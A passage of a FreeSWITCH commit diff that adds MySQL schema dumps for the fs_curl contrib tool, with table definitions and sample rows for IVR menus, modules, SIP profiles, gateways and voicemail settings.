+(1, 'demo', 'soundfiles/ivr/demo/greet-long.wav', 'soundfiles/ivr/demo/greet-short.wav', 'soundfiles/ivr/invalid.wav', 'soundfiles/ivr/exit.wav', 3, 5, 'cepstral', 'allison'),
+(2, 'demo2', 'soundfiles/ivr/demo2/greet-long.wav', 'soundfiles/ivr/demo2/greet-short.wav', 'soundfiles/ivr/invalid.wav', 'soundfiles/ivr/exit.wav', 3, 5, NULL, NULL),
+(3, 'menu8', 'soundfiles/ivr/menu8/greet-long.wav', 'soundfiles/ivr/menu8/greet-short.wav', 'soundfiles/ivr/menu8/invalid.wav', 'soundfiles/ivr/menu8/exit.wav', 3, 5, NULL, NULL);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `ivr_entries`
+--
+
+CREATE TABLE IF NOT EXISTS `ivr_entries` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `ivr_id` int(10) unsigned NOT NULL,
+  `action` varchar(64) NOT NULL,
+  `digits` varchar(16) NOT NULL,
+  `params` varchar(255) default NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_ivr_digits` USING BTREE (`ivr_id`,`digits`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=11 ;
+
+--
+-- Dumping data for table `ivr_entries`
+--
+
+INSERT INTO `ivr_entries` (`id`, `ivr_id`, `action`, `digits`, `params`) VALUES
+(1, 1, 'menu-play-sound', '1', 'soundfiles/features.wav'),
+(2, 1, 'menu-exit', '*', NULL),
+(3, 1, 'menu-sub', '2', 'demo2'),
+(4, 1, 'menu-exec-api', '3', 'bridge sofia/$${domain}/888@conference.freeswtich.org'),
+(5, 1, 'menu-call-transfer', '4', '888'),
+(6, 2, 'menu-back', '#', NULL),
+(7, 2, 'menu-top', '*', NULL),
+(8, 3, 'menu-back', '#', NULL),
+(9, 3, 'menu-top', '*', NULL),
+(10, 3, 'menu-playsound', '4', 'soundfiles/4.wav');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `limit_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `limit_conf` (
+  `id` int(11) NOT NULL auto_increment,
+  `name` varchar(255) default NULL,
+  `value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
+
+--
+-- Dumping data for table `limit_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `limit_data`
+--
+
+CREATE TABLE IF NOT EXISTS `limit_data` (
+  `hostname` varchar(255) default NULL,
+  `realm` varchar(255) default NULL,
+  `id` varchar(255) default NULL,
+  `uuid` varchar(255) default NULL
+) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+
+--
+-- Dumping data for table `limit_data`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `local_stream_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `local_stream_conf` (
+  `id` int(11) NOT NULL auto_increment,
+  `directory_name` varchar(255) default NULL,
+  `directory_path` text,
+  `param_name` varchar(255) default NULL,
+  `param_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `local_stream_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `modless_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `modless_conf` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `conf_name` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `modless_conf`
+--
+
+INSERT INTO `modless_conf` (`id`, `conf_name`) VALUES
+(1, 'acl.conf'),
+(2, 'postl_load_switch.conf'),
+(3, 'post_load_modules.conf');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `post_load_modules_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `post_load_modules_conf` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `module_name` varchar(64) NOT NULL,
+  `load_module` tinyint(1) NOT NULL default '1',
+  `priority` int(10) unsigned NOT NULL default '1000',
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_mod` (`module_name`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=54 ;
+
+--
+-- Dumping data for table `post_load_modules_conf`
+--
+
+INSERT INTO `post_load_modules_conf` (`id`, `module_name`, `load_module`, `priority`) VALUES
+(1, 'mod_sofia', 1, 2000),
+(2, 'mod_iax', 1, 2000),
+(3, 'mod_xml_rpc', 1, 100),
+(4, 'mod_portaudio', 1, 1000),
+(5, 'mod_enum', 1, 2000),
+(6, 'mod_xml_cdr', 1, 1000),
+(7, 'mod_spidermonkey', 1, 1000),
+(8, 'mod_alsa', 0, 1000),
+(9, 'mod_log_file', 1, 0),
+(10, 'mod_commands', 1, 1000),
+(11, 'mod_voicemail', 1, 1000),
+(12, 'mod_dialplan_xml', 1, 150),
+(13, 'mod_dialplan_asterisk', 1, 150),
+(14, 'mod_openzap', 0, 1000),
+(15, 'mod_woomera', 0, 1000),
+(17, 'mod_speex', 1, 500),
+(18, 'mod_ilbc', 0, 1000),
+(20, 'mod_g723_1', 1, 500),
+(21, 'mod_g729', 1, 500),
+(22, 'mod_g722', 1, 500),
+(23, 'mod_g726', 1, 500),
+(25, 'mod_amr', 1, 500),
+(26, 'mod_fifo', 1, 1000),
+(27, 'mod_limit', 1, 1000),
+(28, 'mod_syslog', 1, 0),
+(29, 'mod_dingaling', 1, 2000),
+(30, 'mod_cdr_csv', 1, 1000),
+(31, 'mod_event_socket', 1, 100),
+(32, 'mod_multicast', 0, 1000),
+(33, 'mod_zeroconf', 0, 1000),
+(34, 'mod_xmpp_event', 0, 1000),
+(35, 'mod_sndfile', 1, 1000),
+(36, 'mod_native_file', 1, 1000),
+(37, 'mod_shout', 1, 1000),
+(38, 'mod_local_stream', 1, 1000),
+(39, 'mod_perl', 0, 1000),
+(40, 'mod_python', 0, 1000),
+(41, 'mod_java', 0, 1000),
+(42, 'mod_cepstral', 0, 1000),
+(43, 'mod_openmrcp', 0, 1000),
+(44, 'mod_lumenvox', 0, 1000),
+(45, 'mod_rss', 0, 1000),
+(46, 'mod_say_de', 1, 1000),
+(47, 'mod_say_fr', 0, 1000),
+(48, 'mod_say_en', 1, 1000),
+(49, 'mod_conference', 1, 1000),
+(50, 'mod_ivr', 0, 1000),
+(51, 'mod_console', 1, 0),
+(52, 'mod_dptools', 1, 1500),
+(53, 'mod_voipcodecs', 1, 500);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `rss_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `rss_conf` (
+  `id` int(11) NOT NULL auto_increment,
+  `directory_id` int(11) NOT NULL,
+  `feed` text NOT NULL,
+  `local_file` text NOT NULL,
+  `description` text,
+  `priority` int(11) NOT NULL default '1000',
+  PRIMARY KEY  (`id`)
+) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=15 ;
+
+--
+-- Dumping data for table `rss_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_authentication`
+--
+
+CREATE TABLE IF NOT EXISTS `sip_authentication` (
+  `nonce` varchar(255) default NULL,
+  `expires` int(11) default NULL
+) ENGINE=InnoDB DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `sip_authentication`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_dialogs`
+--
+
+CREATE TABLE IF NOT EXISTS `sip_dialogs` (
+  `call_id` varchar(255) default NULL,
+  `uuid` varchar(255) default NULL,
+  `sip_to_user` varchar(255) default NULL,
+  `sip_to_host` varchar(255) default NULL,
+  `sip_from_user` varchar(255) default NULL,
+  `sip_from_host` varchar(255) default NULL,
+  `contact_user` varchar(255) default NULL,
+  `contact_host` varchar(255) default NULL,
+  `state` varchar(255) default NULL,
+  `direction` varchar(255) default NULL,
+  `user_agent` varchar(255) default NULL
+) ENGINE=InnoDB DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `sip_dialogs`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_registrations`
+--
+
+CREATE TABLE IF NOT EXISTS `sip_registrations` (
+  `call_id` varchar(255) default NULL,
+  `sip_user` varchar(255) default NULL,
+  `sip_host` varchar(255) default NULL,
+  `contact` varchar(1024) default NULL,
+  `status` varchar(255) default NULL,
+  `rpid` varchar(255) default NULL,
+  `expires` int(11) default NULL,
+  `user_agent` varchar(255) default NULL
+) ENGINE=InnoDB DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `sip_registrations`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_subscriptions`
+--
+
+CREATE TABLE IF NOT EXISTS `sip_subscriptions` (
+  `proto` varchar(255) default NULL,
+  `sip_user` varchar(255) default NULL,
+  `sip_host` varchar(255) default NULL,
+  `sub_to_user` varchar(255) default NULL,
+  `sub_to_host` varchar(255) default NULL,
+  `event` varchar(255) default NULL,
+  `contact` varchar(1024) default NULL,
+  `call_id` varchar(255) default NULL,
+  `full_from` varchar(255) default NULL,
+  `full_via` varchar(255) default NULL,
+  `expires` int(11) default NULL,
+  `user_agent` varchar(255) default NULL,
+  `accept` varchar(255) default NULL
+) ENGINE=InnoDB DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `sip_subscriptions`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_aliases`
+--
+
+CREATE TABLE IF NOT EXISTS `sofia_aliases` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `sofia_id` int(10) unsigned NOT NULL,
+  `alias_name` varchar(255) NOT NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `sofia_aliases`
+--
+
+INSERT INTO `sofia_aliases` (`id`, `sofia_id`, `alias_name`) VALUES
+(1, 1, 'default'),
+(3, 1, 'sip.example.com');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `sofia_conf` (
+  `id` int(11) NOT NULL auto_increment,
+  `profile_name` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
+
+--
+-- Dumping data for table `sofia_conf`
+--
+
+INSERT INTO `sofia_conf` (`id`, `profile_name`) VALUES
+(1, '$${domain}');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_domains`
+--
+
+CREATE TABLE IF NOT EXISTS `sofia_domains` (
+  `id` int(11) NOT NULL auto_increment,
+  `sofia_id` int(11) default NULL,
+  `domain_name` varchar(255) default NULL,
+  `parse` tinyint(1) default NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `sofia_domains`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_gateways`
+--
+
+CREATE TABLE IF NOT EXISTS `sofia_gateways` (
+  `id` int(11) NOT NULL auto_increment,
+  `sofia_id` int(11) default NULL,
+  `gateway_name` varchar(255) default NULL,
+  `gateway_param` varchar(255) default NULL,
+  `gateway_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=15 ;
+
+--
+-- Dumping data for table `sofia_gateways`
+--
+
+INSERT INTO `sofia_gateways` (`id`, `sofia_id`, `gateway_name`, `gateway_param`, `gateway_value`) VALUES
+(8, 1, 'default', 'proxy', 'asterlink.com'),
+(9, 1, 'default', 'realm', 'asterlink.com'),
+(10, 1, 'default', 'username', 'USERNAME_HERE'),
+(11, 1, 'default', 'register', 'false'),
+(12, 1, 'default', 'expire-seconds', '60'),
+(13, 1, 'default', 'retry_seconds', '2'),
+(14, 1, 'default', 'password', 'PASSWORD_HERE');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_settings`
+--
+
+CREATE TABLE IF NOT EXISTS `sofia_settings` (
+  `id` int(11) NOT NULL auto_increment,
+  `sofia_id` int(11) default NULL,
+  `param_name` varchar(255) default NULL,
+  `param_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=37 ;
+
+--
+-- Dumping data for table `sofia_settings`
+--
+
+INSERT INTO `sofia_settings` (`id`, `sofia_id`, `param_name`, `param_value`) VALUES
+(1, 1, 'user-agent-string', 'RayUA 2.0pre4'),
+(2, 1, 'auth-calls', 'true'),
+(5, 1, 'debug', '1'),
+(6, 1, 'rfc2833-pt', '101'),
+(7, 1, 'sip-port', '5060'),
+(8, 1, 'dialplan', 'XML'),
+(9, 1, 'dtmf-duration', '100'),
+(10, 1, 'codec-prefs', '$${global_codec_prefs}'),
+(11, 1, 'rtp-timeout-sec', '300'),
+(12, 1, 'rtp-ip', '$${local_ip_v4}'),
+(13, 1, 'sip-ip', '$${local_ip_v4}'),
+(14, 1, 'context', 'default'),
+(15, 1, 'manage-presence', 'true'),
+(16, 1, 'force-register-domain', 'intralanman.servehttp.com'),
+(17, 1, 'inbound-codec-negotiation', 'generous'),
+(18, 1, 'rtp-rewrite-timestampes', 'true'),
+(19, 1, 'nonce-ttl', '60'),
+(20, 1, 'vad', 'out'),
+(36, 1, 'odbc-dsn', 'freeswitch-mysql:freeswitch:Fr33Sw1tch');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `voicemail_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `voicemail_conf` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `vm_profile` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_profile` (`vm_profile`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
+
+--
+-- Dumping data for table `voicemail_conf`
+--
+
+INSERT INTO `voicemail_conf` (`id`, `vm_profile`) VALUES
+(1, 'default');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `voicemail_email`
+--
+
+CREATE TABLE IF NOT EXISTS `voicemail_email` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `voicemail_id` int(10) unsigned NOT NULL,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_profile_param` (`param_name`,`voicemail_id`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `voicemail_email`
+--
+
+INSERT INTO `voicemail_email` (`id`, `voicemail_id`, `param_name`, `param_value`) VALUES
+(1, 1, 'template-file', 'voicemail.tpl'),
+(2, 1, 'date-fmt', '%A, %B %d %Y, %I %M %p'),
+(3, 1, 'email-from', '${voicemail_account}@${voicemail_domain}');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `voicemail_settings`
+--
+
+CREATE TABLE IF NOT EXISTS `voicemail_settings` (
+  `id` int(11) NOT NULL auto_increment,
+  `voicemail_id` int(11) default NULL,
+  `param_name` varchar(255) default NULL,
+  `param_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=31 ;
+
+--
+-- Dumping data for table `voicemail_settings`
+--
+
+INSERT INTO `voicemail_settings` (`id`, `voicemail_id`, `param_name`, `param_value`) VALUES
+(1, 1, 'file-extension', 'wav'),
+(2, 1, 'terminator-key', '#'),
+(3, 1, 'max-login-attempts', '3'),
+(4, 1, 'digit-timeout', '10000'),
+(5, 1, 'max-record-length', '300'),
+(6, 1, 'tone-spec', '%(1000, 0, 640)'),
+(7, 1, 'callback-dialplan', 'XML'),
+(8, 1, 'callback-context', 'default'),
+(9, 1, 'play-new-messages-key', '1'),
+(10, 1, 'play-saved-messages-key', '2'),
+(11, 1, 'main-menu-key', '*'),
+(12, 1, 'config-menu-key', '5'),
+(13, 1, 'record-greeting-key', '1'),
+(14, 1, 'choose-greeting-key', '2'),
+(15, 1, 'record-file-key', '3'),
+(16, 1, 'listen-file-key', '1'),
+(17, 1, 'record-name-key', '3'),
+(18, 1, 'save-file-key', '9'),
+(19, 1, 'delete-file-key', '7'),
+(20, 1, 'undelete-file-key', '8'),
+(21, 1, 'email-key', '4'),
+(22, 1, 'pause-key', '0'),
+(23, 1, 'restart-key', '1'),
+(24, 1, 'ff-key', '6'),
+(25, 1, 'rew-key', '4'),
+(26, 1, 'record-silence-threshold', '200'),
+(27, 1, 'record-silence-hits', '2'),
+(28, 1, 'web-template-file', 'web-vm.tpl'),
+(29, 1, 'operator-extension', 'operator XML default'),
+(30, 1, 'operator-key', '9');
+
+--
+-- Constraints for dumped tables
+--
+
+--
+-- Constraints for table `dingaling_profile_params`
+--
+ALTER TABLE `dingaling_profile_params`
+  ADD CONSTRAINT `dingaling_profile` FOREIGN KEY (`dingaling_id`) REFERENCES `dingaling_profiles` (`id`) ON DELETE CASCADE ON UPDATE CASCADE;

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/mysql-5.0.sql

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/mysql-5.0.sql (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/sql/mysql-5.0.sql) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/mysql-5.0.sql	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/mysql-5.0.sql	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,887 @@
+-- phpMyAdmin SQL Dump
+-- version 3.1.2deb1
+-- http://www.phpmyadmin.net
+--
+-- Host: localhost
+-- Generation Time: Feb 15, 2009 at 09:36 PM
+-- Server version: 5.0.75
+-- PHP Version: 5.2.6-3ubuntu2
+
+SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
+
+
+/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
+/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
+/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
+/*!40101 SET NAMES utf8 */;
+
+--
+-- Database: `freeswitch`
+--
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `acl_lists`
+--
+
+CREATE TABLE IF NOT EXISTS `acl_lists` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `acl_name` varchar(128) NOT NULL,
+  `default_policy` varchar(45) NOT NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `acl_lists`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `acl_nodes`
+--
+
+CREATE TABLE IF NOT EXISTS `acl_nodes` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `cidr` varchar(45) NOT NULL,
+  `type` varchar(16) NOT NULL,
+  `list_id` int(10) unsigned NOT NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `acl_nodes`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `conference_advertise`
+--
+
+CREATE TABLE IF NOT EXISTS `conference_advertise` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `room` varchar(64) NOT NULL,
+  `status` varchar(128) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_room` (`room`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `conference_advertise`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `conference_controls`
+--
+
+CREATE TABLE IF NOT EXISTS `conference_controls` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `conf_group` varchar(64) NOT NULL,
+  `action` varchar(64) NOT NULL,
+  `digits` varchar(16) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_group_action` USING BTREE (`conf_group`,`action`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `conference_controls`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `conference_profiles`
+--
+
+CREATE TABLE IF NOT EXISTS `conference_profiles` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `profile_name` varchar(64) NOT NULL,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  KEY `unique_profile_param` (`profile_name`,`param_name`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `conference_profiles`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan` (
+  `dialplan_id` int(11) NOT NULL auto_increment,
+  `domain` varchar(128) NOT NULL,
+  `ip_address` varchar(15) NOT NULL,
+  PRIMARY KEY  (`dialplan_id`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dialplan`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_actions`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan_actions` (
+  `action_id` int(11) NOT NULL auto_increment,
+  `condition_id` int(11) NOT NULL,
+  `application` varchar(256) NOT NULL,
+  `data` varchar(256) NOT NULL,
+  `type` varchar(32) NOT NULL,
+  `weight` int(11) NOT NULL,
+  PRIMARY KEY  (`action_id`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dialplan_actions`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_condition`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan_condition` (
+  `condition_id` int(11) NOT NULL auto_increment,
+  `extension_id` int(11) NOT NULL,
+  `field` varchar(1238) NOT NULL,
+  `expression` varchar(128) NOT NULL,
+  `weight` int(11) NOT NULL,
+  PRIMARY KEY  (`condition_id`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dialplan_condition`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_context`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan_context` (
+  `context_id` int(11) NOT NULL auto_increment,
+  `dialplan_id` int(11) NOT NULL,
+  `context` varchar(64) NOT NULL,
+  `weight` int(11) NOT NULL,
+  PRIMARY KEY  (`context_id`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dialplan_context`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_extension`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan_extension` (
+  `extension_id` int(11) NOT NULL auto_increment,
+  `context_id` int(11) NOT NULL,
+  `name` varchar(128) NOT NULL,
+  `continue` varchar(32) NOT NULL,
+  `weight` int(11) NOT NULL,
+  PRIMARY KEY  (`extension_id`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dialplan_extension`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_special`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan_special` (
+  `id` int(11) NOT NULL auto_increment,
+  `context` varchar(255) NOT NULL,
+  `class_file` varchar(255) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_context` (`context`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dialplan_special`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dingaling_profiles`
+--
+
+CREATE TABLE IF NOT EXISTS `dingaling_profiles` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `profile_name` varchar(64) NOT NULL,
+  `type` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_name` (`profile_name`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dingaling_profiles`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dingaling_profile_params`
+--
+
+CREATE TABLE IF NOT EXISTS `dingaling_profile_params` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `dingaling_id` int(10) unsigned NOT NULL,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_type_name` (`dingaling_id`,`param_name`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dingaling_profile_params`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dingaling_settings`
+--
+
+CREATE TABLE IF NOT EXISTS `dingaling_settings` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_param` (`param_name`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dingaling_settings`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory`
+--
+
+CREATE TABLE IF NOT EXISTS `directory` (
+  `id` int(11) NOT NULL auto_increment,
+  `username` varchar(255) NOT NULL,
+  `domain` varchar(255) NOT NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_domains`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_domains` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `domain_name` varchar(128) NOT NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_domains`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_gateways`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_gateways` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `directory_id` int(10) unsigned NOT NULL,
+  `gateway_name` varchar(128) NOT NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_gateways`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_gateway_params`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_gateway_params` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `d_gw_id` int(10) unsigned NOT NULL,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_gw_param` (`d_gw_id`,`param_name`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_gateway_params`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_global_params`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_global_params` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(128) NOT NULL,
+  `domain_id` int(10) unsigned NOT NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_global_params`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_global_vars`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_global_vars` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `var_name` varchar(64) NOT NULL,
+  `var_value` varchar(128) NOT NULL,
+  `domain_id` int(10) unsigned NOT NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_global_vars`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_params`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_params` (
+  `id` int(11) NOT NULL auto_increment,
+  `directory_id` int(11) default NULL,
+  `param_name` varchar(255) default NULL,
+  `param_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_params`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_vars`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_vars` (
+  `id` int(11) NOT NULL auto_increment,
+  `directory_id` int(11) default NULL,
+  `var_name` varchar(255) default NULL,
